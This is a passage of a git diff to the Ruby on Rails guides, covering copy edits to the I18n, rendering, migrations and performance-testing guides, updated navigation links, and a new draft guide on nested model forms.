so the helper forces +I18n#translate+ to raise exceptions no matter what exception handler is defined by setting the +:raise+ option: +To do so, the helper forces +I18n#translate+ to raise exceptions no matter what exception handler is defined by setting the +:raise+ option: <ruby> I18n.t :foo, :raise => true # always re-raises exceptions from the backend @@ -838,16 +866,16 @@ I18n.t :foo, :raise => true # always re-raises exceptions from the backend h3. Conclusion -At this point you hopefully have a good overview about how I18n support in Ruby on Rails works and are ready to start translating your project. +At this point you should have a good overview about how I18n support in Ruby on Rails works and are ready to start translating your project. If you find anything missing or wrong in this guide please file a ticket on "our issue tracker":http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview. If you want to discuss certain portions or have questions please sign up to our "mailinglist":http://groups.google.com/group/rails-i18n. h3. Contributing to Rails I18n -I18n support in Ruby on Rails was introduced in the release 2.2 and is still evolving. The project follows the good Ruby on Rails development tradition of evolving solutions in plugins and real applications first and then cherry-picking the best bread of most widely useful features second for inclusion to the core. +I18n support in Ruby on Rails was introduced in the release 2.2 and is still evolving. The project follows the good Ruby on Rails development tradition of evolving solutions in plugins and real applications first, and only then cherry-picking the best-of-bread of most widely useful features for inclusion in the core. -Thus we encourage everybody to experiment with new ideas and features in plugins or other libraries and make them available to the community. (Don't forget to announce your work on our "mailinglist":http://groups.google.com/group/rails-i18n!) +Thus we encourage everybody to experiment with new ideas and features in plugins or other libraries and make them available to the community. (Don't forget to announce your work on our "mailing list":http://groups.google.com/group/rails-i18n!) If you find your own locale (language) missing from our "example translations data":http://github.com/svenfuchs/rails-i18n/tree/master/rails/locale repository for Ruby on Rails, please "_fork_":http://github.com/guides/fork-a-project-and-submit-your-modifications the repository, add your data and send a "pull request":http://github.com/guides/pull-requests. @@ -876,7 +904,7 @@ fn1. Or, to quote "Wikipedia":http://en.wikipedia.org/wiki/Internationalization_ fn2. Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files. -fn3. One of these reasons is that we don't want to any unnecessary load for applications that do not need any I18n capabilities, so we need to keep the I18n library as simple as possible for English. Another reason is that it is virtually impossible to implement a one-fits-all solution for all problems related to I18n for all existing languages. So a solution that allows us to exchange the entire implementation easily is appropriate anyway. This also makes it much easier to experiment with custom features and extensions. +fn3. One of these reasons is that we don't want to imply any unnecessary load for applications that do not need any I18n capabilities, so we need to keep the I18n library as simple as possible for English. Another reason is that it is virtually impossible to implement a one-fits-all solution for all problems related to I18n for all existing languages. So a solution that allows us to exchange the entire implementation easily is appropriate anyway. This also makes it much easier to experiment with custom features and extensions. h3. Changelog diff --git a/railties/guides/source/index.erb.textile b/railties/guides/source/index.erb.textile index 49d8cad404..4c8dd65a04 100644 --- a/railties/guides/source/index.erb.textile +++ b/railties/guides/source/index.erb.textile @@ -32,7 +32,7 @@ h3. Models This guide covers how you can use Active Record migrations to alter your database in a structured and organized manner. <% end %> -<% guide("Active Record Validations and Callbacks", 'activerecord_validations_callbacks.html', :ticket => 26) do %> +<% guide("Active Record Validations and Callbacks", 'activerecord_validations_callbacks.html') do %> This guide covers how you can use Active Record validations and callbacks. <% end %> @@ -40,7 +40,7 @@ h3. Models This guide covers all the associations provided by Active Record. <% end %> -<% guide("Active Record Query Interface", 'active_record_querying.html', :ticket => 16) do %> +<% guide("Active Record Query Interface", 'active_record_querying.html') do %> This guide covers the database query interface provided by Active Record. <% end %> </dl> @@ -77,7 +77,7 @@ h3. Digging Deeper This guide covers Rails integration with Rack and interfacing with other Rack components. <% end %> -<% guide("Rails Internationalization API", 'i18n.html', :ticket => 23) do %> +<% guide("Rails Internationalization API", 'i18n.html') do %> This guide covers how to add internationalization to your applications. Your application will be able to translate content to different languages, change pluralization rules, use correct date formats for each country and so on. <% end %> @@ -117,4 +117,8 @@ h3. Digging Deeper Various caching techniques provided by Rails. <% end %> +<% guide("Contributing to Rails", 'contributing_to_rails.html') do %> + Rails is not "somebody else's framework." This guide covers a variety of ways that you can get involved in the ongoing development of Rails. +<% end %> + </dl> diff --git a/railties/guides/source/layout.html.erb b/railties/guides/source/layout.html.erb index cb02b90eb9..eb66366d07 100644 --- a/railties/guides/source/layout.html.erb +++ b/railties/guides/source/layout.html.erb @@ -16,15 +16,15 @@ <body class="guide"> <div id="topNav"> <div class="wrapper"> - <strong>More at <a href="http://www.rubyonrails.org/">rubyonrails.org:</a> </strong> - <a href="http://www.rubyonrails.org/">Overview</a> | - <a href="http://www.rubyonrails.org/download">Download</a> | - <a href="http://www.rubyonrails.org/deploy">Deploy</a> | + <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong> + <a href="http://rubyonrails.org/">Overview</a> | + <a href="http://rubyonrails.org/download">Download</a> | + <a href="http://rubyonrails.org/deploy">Deploy</a> | <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> | - <a href="http://www.rubyonrails.org/screencasts">Screencasts</a> | - <a href="http://www.rubyonrails.org/documentation">Documentation</a> | - <a href="http://www.rubyonrails.org/ecosystem">Ecosystem</a> | - <a href="http://www.rubyonrails.org/community">Community</a> | + <a href="http://rubyonrails.org/screencasts">Screencasts</a> | + <a href="http://rubyonrails.org/documentation">Documentation</a> | + <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> | + <a href="http://rubyonrails.org/community">Community</a> | <a href="http://weblog.rubyonrails.org/">Blog</a> </div> </div> @@ -63,6 +63,9 @@ <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd> <dd><a href="configuring.html">Configuring Rails Applications</a></dd> <dd><a href="rails_on_rack.html">Rails on Rack</a></dd> + <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd> + <dd><a href="caching_with_rails.html">Caching with Rails</a></dd> + <dd><a href="contributing_to_rails.html">Contributing to Rails</a></dd> </dl> </div> </li> @@ -92,7 +95,7 @@ <hr class="hide" /> <div id="footer"> <div class="wrapper"> - <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0">Creative Commons Attribution-Share Alike 3.0</a> License</a></p> + <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</a></p> <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p> </div> </div> diff --git a/railties/guides/source/layouts_and_rendering.textile b/railties/guides/source/layouts_and_rendering.textile index 5e2cedcf0c..69faa1b449 100644 --- a/railties/guides/source/layouts_and_rendering.textile +++ b/railties/guides/source/layouts_and_rendering.textile @@ -39,7 +39,7 @@ Rails will automatically render +app/views/books/show.html.erb+ after running th NOTE: The actual rendering is done by subclasses of +ActionView::TemplateHandlers+. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. In Rails 2, the standard extensions are +.erb+ for ERB (HTML with embedded Ruby), +.rjs+ for RJS (javascript with embedded ruby) and +.builder+ for Builder (XML generator). You'll also find +.rhtml+ used for ERB templates and +.rxml+ for Builder templates, but those extensions are now formally deprecated and will be removed from a future version of Rails. -h4. Using render +h4. Using +render+ In most cases, the +ActionController::Base#render+ method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behavior of +render+. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well. @@ -140,7 +140,7 @@ NOTE: By default, the file is rendered without using the current layout. If you TIP: If you're running on Microsoft Windows, you should use the +:file+ option to render a file, because Windows filenames do not have the same format as Unix filenames. -h5. Using render with :inline +h5. Using +render+ with +:inline+ The +render+ method can do without a view completely, if you're willing to use the +:inline+ option to supply ERB as part of the method call. This is perfectly valid: @@ -158,7 +158,7 @@ render :inline => "xml.p {'Horrid coding practice!'}", :type => :builder </ruby> -h5. Using render with :update +h5. Using +render+ with +:update+ You can also render javascript-based page updates inline using the +:update+ option to +render+: @@ -212,7 +212,7 @@ render :js => "alert('Hello Rails');" This will send the supplied string to the browser with a MIME type of +text/javascript+. -h5. Options for render +h5. Options for +render+ Calls to the +render+ method generally accept four options: @@ -221,7 +221,7 @@ Calls to the +render+ method generally accept four options: * +:status+ * +:location+ -h6. The :content_type Option +h6. The +:content_type+ Option By default, Rails will serve the results of a rendering operation with the MIME content-type of +text/html+ (or +application/json+ if you use the +:json+ option, or +application/xml+ for the +:xml+ option.). There are times when you might like to change this, and you can do so by setting the +:content_type+ option: @@ -229,7 +229,7 @@ By default, Rails will serve the results of a rendering operation with the MIME render :file => filename, :content_type => 'application/rss' </ruby> -h6. The :layout Option +h6. The +:layout+ Option With most of the options to +render+, the rendered content is displayed as part of the current layout. You'll learn more about layouts and how to use them later in this guide. @@ -245,7 +245,7 @@ You can also tell Rails to render with no layout at all: render :layout => false </ruby> -h6. The :status Option +h6. The +:status+ Option Rails will automatically generate a response with the correct HTML status code (in most cases, this is +200 OK+). You can use the +:status+ option to change this: @@ -256,7 +256,7 @@ render :status => :forbidden Rails understands either numeric status codes or symbols for status codes. You can find its list of status codes in +actionpack/lib/action_controller/status_codes.rb+. You can also see there how Rails maps symbols to status codes. -h6. The :location Option +h6. The +:location+ Option You can use the +:location+ option to set the HTTP +Location+ header: @@ -316,7 +316,7 @@ Now, if the current user is a special user, they'll get a special layout when vi <ruby> class ProductsController < ApplicationController - layout proc{ |controller| controller. + layout proc { |controller| controller.request.xhr? ? 'popup' : 'application' } # ... end </ruby> @@ -327,13 +327,12 @@ Layouts specified at the controller level support +:only+ and +:except+ options <ruby> class ProductsController < ApplicationController - layout "inventory", :only => :index layout "product", :except => [:index, :rss] #... end </ruby> -With those declarations, the +inventory+ layout would be used only for the +index+ method, the +product+ layout would be used for everything else except the +rss+ method, and the +rss+ method will have its layout determined by the automatic layout rules. +With this declaration, the +product+ layout would be used for everything but the +rss+ and +index+ methods. h6. Layout Inheritance @@ -403,6 +402,7 @@ def show if @book.special? render :action => "special_show" end + render :action => "regular_show" end </ruby> @@ -414,10 +414,24 @@ def show if @book.special? render :action => "special_show" and return end + render :action => "regular_show" end </ruby> -h4. Using redirect_to +Note that the implicit render done by ActionController detects if +render+ has been called, and thus avoids this error. So this code will work with problems: + +<ruby> + def show + @book = Book.find(params[:id]) + if @book.special? + render :action => "special_show" + end + end +</ruby> + +This will render a book with +special?+ set with the +special_show+ template, while other books will render with the default +show+ template. + +h4. Using +redirect_to+ Another way to handle returning responses to an HTTP request is with +redirect_to+. As you've seen, +render+ tells Rails which view (or other asset) to use in constructing a response. The +redirect_to+ method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call: @@ -441,7 +455,7 @@ redirect_to photos_path, :status => 301 Just like the +:status+ option for +render+, +:status+ for +redirect_to+ accepts both numeric and symbolic header designations. -h5. The Difference Between render and redirect +h5. The Difference Between +render+ and +redirect_to+ Sometimes inexperienced developers conceive of +redirect_to+ as a sort of +goto+ command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back an HTTP 302 status code. @@ -455,7 +469,7 @@ end def show @book = Book.find(params[:id]) if @book.nil? - render :action => "index" and return + render :action => "index" end end </ruby> @@ -470,14 +484,14 @@ end def show @book = Book.find(params[:id]) if @book.nil? - redirect_to :action => "index" and return + redirect_to :action => "index" end end </ruby> With this code, the browser will make a fresh request for the index page, the code in the +index+ method will run, and all will be well. -h4. Using head To Build Header-Only Responses +h4. Using +head+ To Build Header-Only Responses The +head+ method exists to let you send back responses to the browser that have only headers. It provides a more obvious alternative to calling +render :nothing+. The +head+ method takes one response, which is interpreted as a hash of header names and values. For example, you can return only an error header: @@ -514,7 +528,7 @@ You can use these tags in layouts or other views, although the tags other than + WARNING: The asset tags do _not_ verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link. -h5. Linking to Feeds with auto_discovery_link_tag +h5. Linking to Feeds with +auto_discovery_link_tag+ The +auto_discovery_link_tag+ helper builds HTML that most browsers and newsreaders can use to detect the presences of RSS or ATOM feeds. It takes the type of the link (+:rss+ or +:atom+), a hash of options that are passed through to url_for, and a hash of options for the tag: @@ -529,7 +543,7 @@ There are three tag options available for +auto_discovery_link_tag+: * +:type+ specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically * +:title+ specifies the title of the link -h5. Linking to Javascript Files with javascript_include_tag +h5. Linking to Javascript Files with +javascript_include_tag+ The +javascript_include_tag+ helper returns an HTML +script+ tag for each source provided. Rails looks in +public/javascripts+ for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include +public/javascripts/main.js+: @@ -588,7 +602,7 @@ By default, the combined file will be delivered as +javascripts/all.js+. You can You can even use dynamic paths such as +cache/#{current_site}/main/display+. -h5. Linking to CSS Files with stylesheet_link_tag +h5. Linking to CSS Files with +stylesheet_link_tag+ The +stylesheet_link_tag+ helper returns an HTML +<link>+ tag for each source provided. Rails looks in +public/stylesheets+ for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include +public/stylesheets/main.cs+: @@ -647,7 +661,7 @@ By default, the combined file will be delivered as +stylesheets/all.css+. You ca You can even use dynamic paths such as +cache/#{current_site}/main/display+. -h5. Linking to Images with image_tag +h5. Linking to Images with +image_tag+ The +image_tag+ helper builds an HTML +<image>+ tag to the specified file. By default, files are loaded from +public/images+. If you don't specify an extension, +.png+ is assumed by default: @@ -673,7 +687,7 @@ There are also three special options you can use with +image_tag+: * +:size+ specifies both width and height, in the format "{width}x{height}" (for example, "150x125") * +:mouseover+ sets an alternate image to be used when the onmouseover event is fired. -h4. Understanding yield +h4. Understanding +yield+ Within the context of a layout, +yield+ identifies a section where content from the view should be inserted. The simplest way to use this is to have a single +yield+, into which the entire contents of the view currently being rendered is inserted: @@ -702,7 +716,7 @@ You can also create a layout with multiple yielding regions: The main body of the view will always render into the unnamed +yield+. To render content into a named +yield+, you use the +content_for+ method. -h4. Using content_for +h4. Using +content_for+ The +content_for+ method allows you to insert content into a +yield+ block in your layout. You only use +content_for+ to insert content in named yields. For example, this view would work with the layout that you just saw: @@ -915,7 +929,7 @@ You may find that your application requires a layout that differs slightly from Suppose you have the follow +ApplicationController+ layout: -* +app/views/layouts/application.erb+ +* +app/views/layouts/application.html.erb+ <erb> <html> @@ -934,7 +948,7 @@ Suppose you have the follow +ApplicationController+ layout: On pages generated by +NewsController+, you want to hide the top menu and add a right menu: -* +app/views/layouts/news.erb+ +* +app/views/layouts/news.html.erb+ <erb> <% content_for :stylesheets do %> diff --git a/railties/guides/source/migrations.textile b/railties/guides/source/migrations.textile index 3f1ad51000..5ed94c30b7 100644 --- a/railties/guides/source/migrations.textile +++ b/railties/guides/source/migrations.textile @@ -15,7 +15,7 @@ You'll learn all about migrations including: endprologue. -h3. Anatomy Of A Migration +h3. Anatomy of a Migration Before I dive into the details of a migration, here are a few examples of the sorts of things you can do: @@ -60,7 +60,7 @@ to have already opted in, so we use the User model to set the flag to +true+ for NOTE: Some "caveats":#using-models-in-your-migrations apply to using models in your migrations. -h4. Migrations are classes +h4. Migrations are Classes A migration is a subclass of <tt>ActiveRecord::Migration</tt> that implements two class methods: +up+ (perform the required transformations) and +down+ (revert them). @@ -76,11 +76,11 @@ Active Record provides methods that perform common data definition tasks in a da * +add_index+ * +remove_index+ -If you need to perform tasks specific to your database (for example create a "foreign key":#active-recordand-referential-integrity constraint) then the +execute+ function allows you to execute arbitrary SQL. A migration is just a regular Ruby class so you're not limited to these functions. For example after adding a column you could write code to set the value of that column for existing records (if necessary using your models). +If you need to perform tasks specific to your database (for example create a "foreign key":#active-record-and-referential-integrity constraint) then the +execute+ function allows you to execute arbitrary SQL. A migration is just a regular Ruby class so you're not limited to these functions. For example after adding a column you could write code to set the value of that column for existing records (if necessary using your models). On databases that support transactions with statements that change the schema (such as PostgreSQL), migrations are wrapped in a transaction. If the database does not support this (for example MySQL and SQLite) then when a migration fails the parts of it that succeeded will not be rolled back. You will have to unpick the changes that were made by hand. -h4. What's in a name +h4. What's in a Name Migrations are stored in files in +db/migrate+, one for each migration class. The name of the file is of the form +YYYYMMDDHHMMSS_create_products.rb+, that is to say a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The migration class' name must match (the camelcased version of) the latter part of the file name. For example +20080906120000_create_products.rb+ should define +CreateProducts+ and +20080906120001_add_details_to_products.rb+ should define +AddDetailsToProducts+. If you do feel the need to change the file name then you <em>have to</em> update the name of the class inside or Rails will complain about a missing class. @@ -92,15 +92,15 @@ For example Alice adds migrations +20080906120000+ and +20080906123000+ and Bob Of course this is no substitution for communication within the team. For example, if Alice's migration removed a table that Bob's migration assumed to exist, then trouble would certainly strike. -h4. Changing migrations +h4. Changing Migrations Occasionally you will make a mistake when writing a migration. If you have already run the migration then you cannot just edit the migration and run the migration again: Rails thinks it has already run the migration and so will do nothing when you run +rake db:migrate+. You must rollback the migration (for example with +rake db:rollback+), edit your migration and then run +rake db:migrate+ to run the corrected version. In general editing existing migrations is not a good idea: you will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead you should write a new migration that performs the changes you require. Editing a freshly generated migration that has not yet been committed to source control (or more generally which has not been propagated beyond your development machine) is relatively harmless. Just use some common sense. -h3. Creating A Migration +h3. Creating a Migration -h4. Creating a model +h4. Creating a Model The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want then statements for adding those will also be created. For example, running @@ -130,7 +130,7 @@ end You can append as many column name/type pairs as you want. By default +t.timestamps+ (which creates the +updated_at+ and +created_at+ columns that are automatically populated by Active Record) will be added for you. -h4. Creating a standalone migration +h4. Creating a Standalone Migration If you are creating migrations for other purposes (for example to add a column to an existing table) then you can use the migration generator: @@ -218,7 +218,7 @@ h3. Writing a Migration Once you have created your migration using one of the generators it's time to get to work! -h4. Creating a table +h4. Creating a Table Migration method +create_table+ will be one of your workhorses. A typical use would be @@ -268,7 +268,7 @@ end This may however hinder portability to other databases. -h4. Changing tables +h4. Changing Tables A close cousin of +create_table+ is +change_table+, used for changing existing tables. It is used in a similar fashion to +create_table+ but the object yielded to the block knows more tricks. For example @@ -292,7 +292,7 @@ rename_column :products, :upccode, :upc_code You don't have to keep repeating the table name and it groups all the statements related to modifying one particular table. The individual transformation names are also shorter, for example +remove_column+ becomes just +remove+ and +add_index+ becomes just +index+. -h4. Special helpers +h4. Special Helpers Active Record provides some shortcuts for common functionality. It is for example very common to add both the +created_at+ and +updated_at+ columns and so there is a method that does exactly that: @@ -327,13 +327,13 @@ end </ruby> will add an +attachment_id+ column and a string +attachment_type+ column with a default value of 'Photo'. -NOTE: The +references+ helper does not actually create foreign key constraints for you. You will need to use +execute+ for that or a plugin that adds "foreign key support":#active-recordand-referential-integrity. +NOTE: The +references+ helper does not actually create foreign key constraints for you. You will need to use +execute+ for that or a plugin that adds "foreign key support":#active-record-and-referential-integrity. If the helpers provided by Active Record aren't enough you can use the +execute+ function to execute arbitrary SQL. -For more details and examples of individual methods check the API documentation, in particular the documentation for "<tt>ActiveRecord::ConnectionAdapters::SchemaStatements</tt>":http://api.rubyonrails.com/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html (which provides the methods available in the +up+ and +down+ methods), "<tt>ActiveRecord::ConnectionAdapters::TableDefinition</tt>":http://api.rubyonrails.com/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html (which provides the methods available on the object yielded by +create_table+) and "<tt>ActiveRecord::ConnectionAdapters::Table</tt>":http://api.rubyonrails.com/classes/ActiveRecord/ConnectionAdapters/Table.html (which provides the methods available on the object yielded by +change_table+). +For more details and examples of individual methods check the API documentation, in particular the documentation for "<tt>ActiveRecord::ConnectionAdapters::SchemaStatements</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html (which provides the methods available in the +up+ and +down+ methods), "<tt>ActiveRecord::ConnectionAdapters::TableDefinition</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html (which provides the methods available on the object yielded by +create_table+) and "<tt>ActiveRecord::ConnectionAdapters::Table</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html (which provides the methods available on the object yielded by +change_table+). -h4. Writing your down method +h4. Writing Your +down+ Method The +down+ method of your migration should revert the transformations done by the +up+ method. In other words the database schema should be unchanged if you do an +up+ followed by a +down+. For example if you create a table in the +up+ method you should drop it in the +down+ method. It is wise to do things in precisely the reverse order to in the +up+ method. For example @@ -384,7 +384,7 @@ rake db:migrate VERSION=20080906120000 If this is greater than the current version (i.e. it is migrating upwards) this will run the +up+ method on all migrations up to and including 20080906120000, if migrating downwards this will run the +down+ method on all the migrations down to, but not including, 20080906120000. -h4. Rolling back +h4. Rolling Back A common task is to rollback the last migration, for example if you made a mistake in it and wish to correct it. Rather than tracking down the version number associated with the previous migration you can run @@ -410,7 +410,7 @@ Neither of these Rake tasks do anything you could not do with +db:migrate+, they Lastly, the +db:reset+ task will drop the database, recreate it and load the current schema into it. -NOTE: This is not the same as running all the migrations - see the section on "schema.rb":#schemadumpingandyou. +NOTE: This is not the same as running all the migrations - see the section on "schema.rb":#schema-dumping-and-you. h4. Being Specific @@ -422,7 +422,7 @@ rake db:migrate:up VERSION=20080906120000 will run the +up+ method from the 20080906120000 migration. These tasks check whether the migration has already run, so for example +db:migrate:up VERSION=20080906120000+ will do nothing if Active Record believes that 20080906120000 has already been run. -h4. Being talkative +h4. Being Talkative By default migrations tell you exactly what they're doing and how long it took. A migration creating a table and adding an index might produce output like this @@ -482,7 +482,7 @@ generates the following output If you just want Active Record to shut up then running +rake db:migrate VERBOSE=false+ will suppress any output. -h3. Using Models In Your Migrations +h3. Using Models in Your Migrations When creating or updating data in a migration it is often tempting to use one of your models. After all they exist to provide easy access to the underlying data. This can be done but some caution should be observed. @@ -506,7 +506,7 @@ end </ruby> The migration has its own minimal copy of the +Product+ model and no longer cares about the +Product+ model defined in the application. -h4. Dealing with changing models +h4. Dealing with Changing Models For performance reasons information about the columns a model has is cached. For example if you add a column to a table and then try and use the corresponding model to insert a new row it may try and use the old column information. You can force Active Record to re-read the column information with the +reset_column_information+ method, for example @@ -528,9 +528,9 @@ end </ruby> -h3. Schema dumping and you +h3. Schema Dumping and You -h4. What are schema files for? +h4. What are Schema Files for? Migrations, mighty as they may be, are not the authoritative source for your database schema. That role falls to either +db/schema.rb+ or an SQL file which Active Record generates by examining the database. They are not designed to be edited, they just represent the current state of the database. @@ -540,7 +540,7 @@ For example, this is how the test database is created: the current development d Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model's code and is frequently spread across several migrations but is all summed up in the schema file. The "annotate_models":http://agilewebdevelopment.com/plugins/annotate_models plugin, which automatically adds (and updates) comments at the top of each model summarising the schema, may also be of interest. -h4. Types of schema dumps +h4. Types of Schema Dumps There are two ways to dump the schema. This is set in +config/environment.rb+ by the +config.active_record.schema_format+ setting, which may be either +:sql+ or +:ruby+. @@ -572,7 +572,7 @@ Instead of using Active Record's schema dumper the database's structure will be By definition this will be a perfect copy of the database's structure but this will usually prevent loading the schema into a database other than the one used to create it. -h4. Schema dumps and source control +h4. Schema Dumps and Source Control Because schema dumps are the authoritative source for your database schema, it is strongly recommended that you check them into source control. diff --git a/railties/guides/source/nested_model_forms.textile b/railties/guides/source/nested_model_forms.textile new file mode 100644 index 0000000000..4b685b214e --- /dev/null +++ b/railties/guides/source/nested_model_forms.textile @@ -0,0 +1,222 @@ +h2. Rails nested model forms + +Creating a form for a model _and_ its associations can become quite tedious. Therefor Rails provides helpers to assist in dealing with the complexities of generating these forms _and_ the required CRUD operations to create, update, and destroy associations. + +In this guide you will: + +* do stuff + +endprologue. + +NOTE: This guide assumes the user knows how to use the "Rails form helpers":form_helpers.html in general. Also, it’s *not* an API reference. For a complete reference please visit "the Rails API documentation":http://api.rubyonrails.org/. + + +h3. Model setup + +To be able to use the nested model functionality in your forms, the model will need to support some basic operations. + +First of all, it needs to define a writer method for the attribute that corresponds to the association you are building a nested model form for. The +fields_for+ form helper will look for this method to decide whether or not a nested model form should be build. + +If the associated object is an array a form builder will be yielded for each object, else only a single form builder will be yielded. + +Consider a Person model with an associated Address. When asked to yield a nested FormBuilder for the +:address+ attribute, the +fields_for+ form helper will look for a method on the Person instance named +address_attributes=+. + +h4. ActiveRecord::Base model + +For an ActiveRecord::Base model and association this writer method is commonly defined with the +accepts_nested_attributes_for+ class method: + +h5. has_one + +<ruby> +class Person < ActiveRecord::Base + has_one :address + accepts_nested_attributes_for :address +end +</ruby> + +h5. belongs_to + +<ruby> +class Person < ActiveRecord::Base + belongs_to :firm + accepts_nested_attributes_for :firm +end +</ruby> + +h5. has_many / has_and_belongs_to_many + +<ruby> +class Person < ActiveRecord::Base + has_many :projects + accepts_nested_attributes_for :projects +end +</ruby> + +h4. Custom model + +As you might have inflected from this explanation, you _don’t_ necessarily need an ActiveRecord::Base model to use this functionality. The following examples are sufficient to enable the nested model form behaviour: + +h5. Single associated object + +<ruby> +class Person + def address + Address.new + end + + def address_attributes=(attributes) + # ... + end +end +</ruby> + +h5. Association collection + +<ruby> +class Person + def projects + [Project.new, Project.new] + end + + def projects_attributes=(attributes) + # ... + end +end +</ruby> + +NOTE: See (TODO) in the advanced section for more information on how to deal with the CRUD operations in your custom model. + +h3. Views + +h4. Controller code + +A nested model form will _only_ be build if the associated object(s) exist. This means that for a new model instance you would probably want to build the associated object(s) first. + +Consider the following typical RESTful controller which will prepare a new Person instance and its +address+ and +projects+ associations before rendering the +new+ template: + +<ruby> +class PeopleController < ActionController:Base + def new + @person = Person.new + @person.built_address + 2.times { @person.projects.build } + end + + def create + @person = Person.new(params[:person]) + if @person.save + # ... + end + end +end +</ruby> + +NOTE: Obviously the instantiation of the associated object(s) can become tedious and not DRY, so you might want to move that into the model itself. ActiveRecord::Base provides an +after_initialize+ callback which is a good way to refactor this. + +h4. Form code + +Now that you have a model instance, with the appropriate methods and associated object(s), you can start building the nested model form. + +h5. Standard form + +Start out with a regular RESTful form: + +<erb> +<% form_for @person do |f| %> + <%= f.text_field :name %> +<% end %> +</erb> + +This will generate the following html: + +<html> +<form action="/people" class="new_person" id="new_person" method="post"> + <input id="person_name" name="person[name]" size="30" type="text" /> +</form> +</html> + +h5. Nested form for a single associated object + +Now add a nested form for the +address+ association: + +<erb> +<% form_for @person do |f| %> + <%= f.text_field :name %> + + <% f.fields_for :address do |af| %> + <%= f.text_field :street %> + <% end %> +<% end %> +</erb> + +This generates: + +<html> +<form action="/people" class="new_person" id="new_person" method="post"> + <input id="person_name" name="person[name]" size="30" type="text" /> + + <input id="person_address_attributes_street" name="person[address_attributes][street]" size="30" type="text" /> +</form> +</html> + +Notice that +fields_for+ recognized the +address+ as an association for which a nested model form should be build by the way it has namespaced the +name+ attribute. + +When this form is posted the Rails parameter parser will construct a hash like the following: + +<ruby> +{ + "person" => { + "name" => "Eloy Duran", + "address_attributes" => { + "street" => "Nieuwe Prinsengracht" + } + } +} +</ruby> + +That’s it. The controller will simply pass this hash on to the model from the +create+ action. The model will then handle building the +address+ association for you and automatically save it when the parent (+person+) is saved. + +h5. Nested form for a collection of associated objects + +The form code for an association collection is pretty similar to that of a single associated object: + +<erb> +<% form_for @person do |f| %> + <%= f.text_field :name %> + + <% f.fields_for :projects do |pf| %> + <%= f.text_field :name %> + <% end %> +<% end %> +</erb> + +Which generates: + +<html> +<form action="/people" class="new_person" id="new_person" method="post"> + <input id="person_name" name="person[name]" size="30" type="text" /> + + <input id="person_projects_attributes_0_name" name="person[projects_attributes][0][name]" size="30" type="text" /> + <input id="person_projects_attributes_1_name" name="person[projects_attributes][1][name]" size="30" type="text" /> +</form> +</html> + +As you can see it has generated 2 +project name+ inputs, one for each new +project+ that’s build in the controllers +new+ action. Only this time the +name+ attribute of the input contains a digit as an extra namespace. This will be parsed by the Rails parameter parser as: + +<ruby> +{ + "person" => { + "name" => "Eloy Duran", + "projects_attributes" => { + "0" => { "name" => "Project 1" }, + "1" => { "name" => "Project 2" } + } + } +} +</ruby> + +You can basically see the +projects_attributes+ hash as an array of attribute hashes. One for each model instance. + +NOTE: The reason that +fields_for+ constructed a form which would result in a hash instead of an array is that it won't work for any forms nested deeper than one level deep. + +TIP: You _can_ however pass an array to the writer method generated by +accepts_nested_attributes_for+ if you're using plain Ruby or some other API access. See (TODO) for more info and example.
\ No newline at end of file diff --git a/railties/guides/source/performance_testing.textile b/railties/guides/source/performance_testing.textile index c2bf36c893..320a5b8472 100644 --- a/railties/guides/source/performance_testing.textile +++ b/railties/guides/source/performance_testing.textile @@ -32,7 +32,7 @@ end This example is a simple performance test case for profiling a GET request to the application's homepage. -h4. Generating performance tests +h4. Generating Performance Tests Rails provides a generator called +performance_test+ for creating new performance tests: @@ -95,7 +95,7 @@ class Post < ActiveRecord::Base end </ruby> -h5. Controller example +h5. Controller Example Because performance tests are a special kind of integration test, you can use the +get+ and +post+ methods in them. @@ -121,9 +121,9 @@ class PostPerformanceTest < ActionController::PerformanceTest end </ruby> -You can find more details about the +get+ and +post+ methods in the link:../testing_rails_applications.html#mgunderloy[Testing Rails Applications] guide. +You can find more details about the +get+ and +post+ methods in the "Testing Rails Applications":testing.html guide. -h5. Model example +h5. Model Example Even though the performance tests are integration tests and hence closer to the request/response cycle by nature, you can still performance test pure model code. @@ -173,13 +173,13 @@ h4. Metrics Benchmarking and profiling run performance tests in various modes described below. -h5. Wall time +h5. Wall Time Wall time measures the real world time elapsed during the test run. It is affected by any other processes concurrently running on the system. Mode: Benchmarking -h5. Process time +h5. Process Time Process time measures the time taken by the process. It is unaffected by any other processes running concurrently on the same system. Hence, process time is likely to be constant for any given performance test, irrespective of the machine load. @@ -197,19 +197,19 @@ Objects measures the number of objects allocated for the performance test case. Mode: Benchmarking, Profiling "Requires GC Patched 